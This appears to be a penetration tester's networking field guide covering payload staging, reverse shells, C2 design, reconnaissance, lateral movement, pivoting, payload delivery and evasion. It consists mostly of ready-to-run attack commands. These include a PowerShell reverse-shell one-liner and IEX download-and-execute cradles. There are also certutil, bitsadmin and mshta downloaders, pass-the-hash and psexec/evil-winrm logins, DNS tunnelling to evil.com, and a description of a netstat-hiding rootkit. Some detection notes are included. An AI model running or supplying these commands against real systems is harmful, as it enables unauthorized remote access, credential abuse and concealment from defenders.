NETWORKING // OPERATOR'S FIELD GUIDE

22DIV / george wu // pentester networking tradecraft // HTTP staging, C2, lateral movement
TABLE OF CONTENTS
01 HTTP File Staging 02 TCP/IP for Operators 03 Reverse Shells 04 C2 Architecture 05 Network Reconnaissance 06 Lateral Movement 07 Port Forwarding & Pivoting 08 Payload Delivery Methods 09 Network Evasion

01 // HTTP FILE STAGING

The fastest way to move files between machines on a network. One command turns any folder into a web server. Every file in that directory becomes a downloadable URL. No setup, no FTP, no SMB shares, no USB drives.

How It Works

┌──────────────────────────────────┐ │ Attacker (192.168.1.92) │ │ ┌────────────────────────┐ │ │ │ /staging/ │ │ │ │ ├── payload.exe │ ──── │ ──▶ http://192.168.1.92:9090/payload.exe │ │ ├── implant.dll │ ──── │ ──▶ http://192.168.1.92:9090/implant.dll │ │ └── driver.sys │ ──── │ ──▶ http://192.168.1.92:9090/driver.sys │ └────────────────────────┘ │ │ python -m http.server 9090 │ ◀── listening on 0.0.0.0 (all interfaces) └──────────┬───────────────────────┘ │ │ LAN (same subnet) │ ┌──────────▼───────────────────────┐ │ Target (192.168.1.50) │ │ Invoke-WebRequest ... │ ◀── normal HTTP GET download │ -OutFile payload.exe │ └──────────────────────────────────┘

Start the Server

# serve current directory on port 9090 cd /opt/staging && python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... 127.0.0.1 - - [19/Jun/2026 14:32:01] "GET /payload.exe HTTP/1.1" 200 - 192.168.1.50 - - [19/Jun/2026 14:32:15] "GET /payload.exe HTTP/1.1" 200 - 192.168.1.50 - - [19/Jun/2026 14:32:18] "GET /implant.dll HTTP/1.1" 200 -

Every successful download shows a 200 response in the server log. A 404 means the file doesn't exist in the directory you're serving. A connection timeout means the target can't reach your IP (firewall, wrong subnet, server not running).

Pull Files on Target

# PowerShell (Windows target) Invoke-WebRequest http://192.168.1.92:9090/payload.exe -OutFile payload.exe Invoke-WebRequest http://192.168.1.92:9090/implant.dll -OutFile implant.dll
# Verify file integrity (compare sizes) (Get-Item payload.exe).Length 153088
# Linux target — wget or curl wget http://192.168.1.92:9090/payload.elf --2026-06-19 14:33:22-- http://192.168.1.92:9090/payload.elf Connecting to 192.168.1.92:9090... connected. HTTP request sent, awaiting response... 200 OK Length: 48256 (47K) Saving to: 'payload.elf' payload.elf 100%[==================>] 47.13K --.-KB/s in 0.001s
# Or curl curl http://192.168.1.92:9090/payload.elf -o payload.elf

Troubleshooting

404 Not Found: You're hitting a server, but the file isn't there. Either you're serving the wrong directory, or another process is listening on that port. Diagnose with netstat -ano | findstr ":9090" — if you see two PIDs, you have a port conflict.
OPSEC: Kill the server when done (Ctrl+C). While running, anyone on your network can browse that directory. python -m http.server has no authentication — it's an open door.

Port Conflict Diagnosis

# check who's listening on port 8080 netstat -ano | findstr ":8080" TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 6216 TCP [::]:8080 [::]:0 LISTENING 46768
# two PIDs! identify them Get-Process -Id 6216 | Select-Object ProcessName httpd # Apache stole our port Get-Process -Id 46768 | Select-Object ProcessName python # our server got the IPv6 socket only
# fix: use a different port python -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 ...

02 // TCP/IP FOR OPERATORS

Every connection you make — HTTP staging, reverse shells, C2 beacons, lateral movement — is TCP or UDP underneath. Understanding the handshake tells you what netstat output means and why connections fail.

The Three-Way Handshake

Client Server │ │ │ ──── SYN (seq=100) ──────▶ │ "I want to connect" │ │ │ ◀──── SYN-ACK (ack=101) ──── │ "OK, I'm listening" │ │ │ ──── ACK (ack=1) ────────▶ │ "Connection established" │ │ │ ◀════ DATA ══════════════▶ │ bidirectional communication │ │ │ ──── FIN ────────────────▶ │ "I'm done" │ ◀──── FIN-ACK ─────────── │ "Acknowledged, me too" │ │

SYN = synchronize. ACK = acknowledge. FIN = finish. Every TCP connection goes through this dance. When a port scan sends a SYN and gets SYN-ACK back, the port is open. RST back = closed. Silence = filtered (firewall dropped it).

Port Ranges

Well-Known (0-1023) HTTP=80, HTTPS=443, SSH=22, SMB=445, DNS=53, RDP=3389 Registered (1024-49151) MySQL=3306, PostgreSQL=5432, WinRM=5985, Metasploit=4444 Dynamic (49152-65535) Ephemeral ports — OS assigns these for outbound connections

Reading netstat

netstat -ano | findstr "ESTABLISHED" TCP 192.168.1.50:49832 192.168.1.92:8080 ESTABLISHED 3412 TCP 192.168.1.50:49844 13.107.42.14:443 ESTABLISHED 1088 TCP 192.168.1.50:49901 192.168.1.92:4444 ESTABLISHED 7720
# reading: local_ip:local_port → remote_ip:remote_port STATE PID # port 49832→8080 = HTTP C2 beacon # port 49844→443 = legit HTTPS (microsoft) # port 49901→4444 = reverse shell callback
netstat -ano | findstr "LISTENING" TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 892 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
# 0.0.0.0 = listening on ALL interfaces (reachable from network) # 127.0.0.1 = localhost only (not reachable from network)
PowerShell gotcha: sc in PowerShell is aliased to Set-Content, not the service control manager. Use sc.exe query to query services. Same trap: curl is aliased to Invoke-WebRequest. Always use curl.exe on Windows if you want the real curl.

03 // REVERSE SHELLS

A reverse shell makes the target connect back to you. This bypasses inbound firewall rules — most firewalls block inbound but allow outbound. The attacker listens; the target calls home.

┌─────────────┐ ┌─────────────┐ │ Attacker │ │ Target │ │ LISTENING │ ◀════ TCP ════════ │ CONNECTS │ │ on :4444 │ │ OUT to :4444│ │ │ │ │ │ nc -lvnp │ target initiates │ powershell │ │ 4444 │ the connection │ reverse │ └─────────────┘ └─────────────┘ Bind Shell = opposite: target LISTENS, attacker connects IN (blocked by most firewalls → reverse shell preferred)

Listener Setup (Attacker)

# netcat listener — catches the incoming shell nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.1.92] from (UNKNOWN) [192.168.1.50] 49832 Microsoft Windows [Version 10.0.19045] (c) Microsoft Corporation. All rights reserved.
C:\Users\target>whoami radon_laptop1\ghaleb jomma
C:\Users\target>ipconfig | findstr "IPv4" IPv4 Address. . . . . . . : 192.168.1.50

PowerShell Reverse Shell (Target)

# PowerShell reverse shell one-liner $c = New-Object Net.Sockets.TCPClient('192.168.1.92',4444) $s = $c.GetStream() $w = New-Object IO.StreamWriter($s) $r = New-Object IO.StreamReader($s) while($true){$w.Write('PS> '); $w.Flush(); $d = $r.ReadLine(); $o = iex $d 2>&1 | Out-String; $w.Write($o); $w.Flush()}
Detection: Raw TCP reverse shells trigger Defender's behavioral monitoring. AMSI scans the PowerShell commands. ETW-TI logs the socket creation. This is why VADER's kill chain blinds AMSI and ETW before establishing the shell.

Common Ports for Shells

4444 — Metasploit default. Known to every SOC analyst. Use for testing only. 443 — HTTPS port. Blends with legit traffic. Many firewalls allow outbound 443. 80 — HTTP port. Same logic. May conflict with web servers. 53 — DNS port. Often allowed through even strict firewalls. 8080 — Alt-HTTP. Common but watched. Port conflicts with dev servers.

04 // C2 ARCHITECTURE

Command & Control (C2) is the persistent communication channel between attacker and implant. Unlike a one-shot reverse shell, C2 is designed for long-term access — beaconing at intervals, receiving tasking, exfiltrating data.

HTTP Beacon (Most Common)

Implant C2 Server │ │ │ ── GET /news/feed.json ──────────▶ │ check-in (sleep 60s + jitter) │ ◀── 200 OK {"task":"whoami"} ──── │ server queues commands │ │ │ ... implant executes whoami ... │ │ │ │ ── POST /api/telemetry ──────────▶ │ send results back │ body: {output: "nt authority\system"}│ │ ◀── 200 OK ────────────────────── │ acknowledged │ │ │ ... sleep 60s ± 15s jitter ... │ jitter prevents pattern detection │ │ │ ── GET /news/feed.json ──────────▶ │ next check-in │ ◀── 200 OK {"task":"none"} ────── │ nothing to do │ │

Sleep controls how often the implant checks in. Shorter = more responsive but more traffic. Jitter adds randomness to the interval (e.g., 60s ± 15s) so check-ins don't happen at exact intervals — exact intervals are a detection signature.

C2 Channel Types

HTTP/HTTPS HTTP Blends with web traffic. HTTPS encrypts payload. Most C2 frameworks default here. Detected by: proxy logs, SSL inspection, JA3 fingerprinting, domain reputation.
DNS Tunneling DNS Data encoded in DNS queries (TXT, CNAME, A records). Slow but hard to block — most networks MUST allow DNS. Detection: anomalous query volume, long labels.
SMB Named Pipes SMB Internal-only. Implant-to-implant comms through named pipes over SMB (port 445). No internet traffic = invisible to perimeter monitoring. Used for pivoting.
ICMP Tunneling Data embedded in ping packets. Extremely slow. Niche — most envs allow ICMP. Detection: unusual ICMP packet sizes, high volume pings.
Raw TCP TCP Direct socket. Fast but obvious — custom protocol on a non-standard port. Detected by: port scanning, traffic analysis, IDS signatures.

VADER's C2 Architecture

# VADER uses HTTP staging + reverse shell 1. vader_stager.exe → downloads payload.dll via HTTP (port 8080) 2. vader_inject.exe → injects payload into target process 3. vader_shell.exe → reverse shell callback (port 4444) 4. cloak.dll → hides ports 8080 + 4444 from netstat
With cloak active: netstat -ano | findstr "8080 4444" [no output — connections hidden by NtDeviceIoControlFile hook]

05 // NETWORK RECONNAISSANCE

Before you move laterally, you need to know what's on the network. Recon answers: what hosts are alive, what ports are open, what services are running, and what's the network topology.

Host Discovery

# ARP scan — who's on the local subnet (layer 2, fast, silent) arp -a Interface: 192.168.1.92 --- 0xa Internet Address Physical Address Type 192.168.1.1 aa:bb:cc:dd:ee:01 dynamic # gateway/router 192.168.1.50 aa:bb:cc:dd:ee:50 dynamic # radon laptop 192.168.1.55 aa:bb:cc:dd:ee:55 dynamic # unknown device 192.168.1.255 ff:ff:ff:ff:ff:ff static # broadcast
# Ping sweep — slower but works across subnets for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i alive"; done 192.168.1.1 alive 192.168.1.50 alive 192.168.1.55 alive 192.168.1.92 alive

Port Scanning (nmap)

# quick top-1000 port scan nmap 192.168.1.50 Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for 192.168.1.50 Host is up (0.0031s latency). Not shown: 995 closed tcp ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wrd-rdp 5985/tcp open wsman
# service version detection (-sV) + OS detection (-O) nmap -sV -O 192.168.1.50 PORT STATE SERVICE VERSION 445/tcp open microsoft-ds Windows 10 Pro 19045 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) OS details: Microsoft Windows 10 1809 - 2009
# scan ALL 65535 ports (slow but thorough) nmap -p- 192.168.1.50
# stealth SYN scan (half-open — doesn't complete handshake) nmap -sS 192.168.1.50

Windows Native Recon (No Tools Required)

# network interfaces and IPs ipconfig /all
# routing table — where traffic goes route print
# DNS cache — recently resolved domains ipconfig /displaydns
# active connections with PIDs netstat -ano
# find what process owns a port netstat -ano | findstr ":445" TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 tasklist /fi "PID eq 4" Image Name PID Session Name Mem Usage System 4 Services 148 K
# SMB shares on a remote host net view \\192.168.1.50
# logged-in users on remote host query user /server:192.168.1.50

06 // LATERAL MOVEMENT

Moving from one compromised host to another inside the network. You've popped one box — now reach the domain controller, the file server, the database. Each technique has a different footprint and different requirements.

PsExec (SMB — Port 445)

# requires: admin creds on target, SMB (445) open # footprint: creates a service on target, visible in event logs psexec.py domain/admin:Password123@192.168.1.50 cmd.exe Impacket v0.11.0 - Copyright 2023 Fortra [*] Requesting shares on 192.168.1.50..... [*] Found writable share ADMIN$ [*] Uploading file to ADMIN$\Temp\ [*] Creating service on 192.168.1.50..... [*] Starting service..... Microsoft Windows [Version 10.0.19045] C:\Windows\system32>whoami nt authority\system

WinRM (Port 5985/5986)

# requires: admin creds, WinRM enabled (port 5985 open) # footprint: cleaner than PsExec — no service creation evil-winrm -i 192.168.1.50 -u admin -p 'Password123' [+] Connected to 192.168.1.50 [+] PowerShell session established *Evil-WinRM* PS C:\Users\admin\Documents> whoami radon\admin
# native PowerShell remoting (from Windows) Enter-PSSession -ComputerName 192.168.1.50 -Credential domain\admin [192.168.1.50]: PS C:\Users\admin\Documents>

Pass-the-Hash (No Password Needed)

# you dumped NTLM hashes from LSASS — don't need the plaintext password # hash format: LM:NT (LM is usually aad3b... = empty) pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 //192.168.1.50 cmd.exe Microsoft Windows [Version 10.0.19045] C:\Windows\system32>
# or with impacket psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 admin@192.168.1.50
Key insight: Windows authenticates with NTLM hashes, not passwords. If you have the hash, you ARE that user to Windows. This is why credential dumping (Mimikatz, LSASS dump) is the most impactful post-exploitation step — one set of admin hashes gives you access to every machine that admin can reach.

RDP (Port 3389)

# GUI access to target — useful for browsing files, checking settings # footprint: VISIBLE — user sees the session. Use only if target is unattended. xfreerdp /v:192.168.1.50 /u:admin /p:Password123 /cert-ignore
# enable RDP remotely (if you have admin on target) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=yes

07 // PORT FORWARDING & PIVOTING

You've compromised a host on the DMZ. The internal network (10.10.x.x) is behind it — unreachable from your machine directly. Pivoting means routing your traffic through the compromised host to reach internal targets.

Your Machine Compromised Host Internal Target 192.168.1.92 192.168.1.50 10.10.10.20 (also on 10.10.10.1) │ │ │ │ you can reach this │ this can reach both │ you can't reach │ ════════════════════▶ │ ════════════════════▶ │ this directly │ │ │ │ PIVOT: tunnel your │ │ │ traffic through the │ │ │ compromised host │ │ │ ═══════╦═════════════▶ │ ═══════════════════▶ │ │ ║ SSH tunnel │ │ │ ╚═════════════════╩══════════════════════▶ │ │ now you can reach 10.10.10.20 via the tunnel │

SSH Local Port Forward

# forward local port 8888 → internal target 10.10.10.20:80 via compromised host ssh -L 8888:10.10.10.20:80 user@192.168.1.50
# now browse http://localhost:8888 — traffic routes through 192.168.1.50 curl http://localhost:8888 <html>Internal Web App</html>

SSH Dynamic Port Forward (SOCKS Proxy)

# create SOCKS proxy on local port 1080 via compromised host ssh -D 1080 user@192.168.1.50
# route ANY tool through the proxy with proxychains proxychains nmap -sT 10.10.10.0/24 proxychains curl http://10.10.10.20 proxychains evil-winrm -i 10.10.10.20 -u admin -p pass

Chisel (No SSH Required)

# on your machine — start chisel server ./chisel server --reverse --port 8000 server: Listening on http://0.0.0.0:8000
# on compromised host — connect back and create reverse SOCKS .\chisel.exe client 192.168.1.92:8000 R:socks client: Connected
# now use proxychains on your machine to reach internal network proxychains nmap 10.10.10.0/24
Why chisel over SSH: Targets don't always have SSH. Chisel is a single static binary — upload it, run it, tunnel established. HTTP-based, so it traverses proxies and firewalls that block SSH. Reverse mode means the target connects out to you (like a reverse shell but for tunnels).

08 // PAYLOAD DELIVERY METHODS

Getting your payload onto the target. Each method has different OPSEC tradeoffs — disk footprint, network signature, and detection risk.

Staged vs Stageless

STAGED (two-step) Step 1: Small stager (2-5KB) downloads the real payload Step 2: Payload executes in memory — never touches disk Pro: tiny initial footprint, payload can be large Con: requires network callback to fetch stage 2
STAGELESS (one-shot) Everything in one binary — executes immediately Pro: no network dependency after initial delivery Con: larger binary, more signatures for AV to scan
VADER uses STAGED: vader_stager.exe (stage 1) → HTTP GET → payload.dll (stage 2) vader_inject.exe loads payload.dll into target process memory payload.dll never written to disk = harder for forensics

HTTP Staging (python -m http.server)

# attacker: serve payload directory python3 -m http.server 9090 --directory /opt/payloads/
# target: download + execute in memory (PowerShell) IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92:9090/runner.ps1')
# target: download to disk + run Invoke-WebRequest http://192.168.1.92:9090/payload.exe -OutFile C:\temp\svc.exe Start-Process C:\temp\svc.exe
# target: certutil — often less monitored than PowerShell certutil -urlcache -split -f http://192.168.1.92:9090/payload.exe C:\temp\svc.exe
# target: bitsadmin — background download bitsadmin /transfer job /download /priority high http://192.168.1.92:9090/payload.exe C:\temp\svc.exe

SMB Staging (Port 445)

# attacker: create SMB share (impacket) smbserver.py SHARE /opt/payloads/ -smb2support Impacket v0.11.0 [*] Config file parsed [*] Callback added for UUID ...
# target: execute directly from share (no disk write!) \\192.168.1.92\SHARE\payload.exe
# or copy first copy \\192.168.1.92\SHARE\payload.exe C:\temp\svc.exe

Living off the Land (LOLBins)

# certutil — Microsoft certificate utility, doubles as downloader certutil -urlcache -split -f http://192.168.1.92/p.exe p.exe
# mshta — HTML Application host, executes remote HTA mshta http://192.168.1.92/payload.hta
# rundll32 — load DLL from SMB share rundll32 \\192.168.1.92\share\payload.dll,EntryPoint
# bitsadmin — Background Intelligent Transfer Service bitsadmin /transfer x /download http://192.168.1.92/p.exe %temp%\p.exe
Why LOLBins matter: These are signed Microsoft binaries — Defender doesn't block certutil.exe itself. Application whitelisting (AppLocker) allows them by default. You're using the OS against itself. Detection relies on behavioral monitoring: "why is certutil downloading an exe?"

09 // NETWORK EVASION

Your C2 traffic needs to look like normal traffic. Firewalls, IDS/IPS, and SOC analysts are watching. Every technique here addresses a specific detection mechanism.

Encrypted Channels (HTTPS C2)

WITHOUT encryption: GET /commands HTTP/1.1 Response: {"task":"mimikatz","args":"sekurlsa::logonpasswords"} → IDS signature matches "mimikatz" → ALERT
WITH HTTPS: TLS handshake → encrypted tunnel Proxy sees: destination IP + SNI hostname — NOT the content → No payload inspection possible without SSL interception

Domain Fronting

# traffic appears to go to legitimate CDN domain TLS SNI: cdn.microsoft.com ← what the firewall sees HTTP Host: evil-c2.azureedge.net ← where CDN actually routes it
Firewall sees traffic to Microsoft's CDN — looks completely legitimate. CDN routes based on Host header to attacker's C2 server.
Status: most cloud providers (AWS, Azure, GCP) have blocked this. Still works on some smaller CDNs and custom configurations.

DNS Tunneling (Data Exfil)

# encode data as DNS subdomain labels Query: aGVsbG8gd29ybGQ.evil.com TXT ^^^^^^^^^^^^^^^^ base64("hello world") encoded as subdomain
# response carries commands back TXT Record: "d2hvYW1p" → base64("whoami")
# tools: dnscat2, iodine, dns2tcp dnscat2-server evil.com .\dnscat2.exe evil.com
Speed: ~50KB/s max. Not for large transfers. Stealth: DNS is almost never blocked. Hard to detect without DNS traffic analytics (query volume, label entropy).

Connection Hiding (VADER Cloak)

# VADER's approach: don't evade network monitoring — blind it cloak.dll hooks NtDeviceIoControlFile in every process → netstat queries return filtered results → TCP connections on hidden ports are invisible → Resource Monitor, TCPView, ProcessHacker all blinded
BEFORE cloak: netstat -ano | findstr "8080 4444" TCP 192.168.1.50:49832 192.168.1.92:8080 ESTABLISHED 3412 TCP 192.168.1.50:49901 192.168.1.92:4444 ESTABLISHED 7720
AFTER cloak: netstat -ano | findstr "8080 4444" [empty — connections exist but are filtered from all queries]
Limitation: network-level monitoring (firewall logs, packet captures) still sees the traffic. Cloak hides from the OS, not the wire.
Defense-in-depth lesson: This is why monitoring at multiple layers matters. Host-based tools (netstat, Task Manager) can be blinded by rootkits. Network monitoring (IDS, firewall logs, packet captures) sees traffic regardless of what the endpoint reports. Correlating both layers catches discrepancies — a connection visible on the wire but missing from netstat is a rootkit indicator.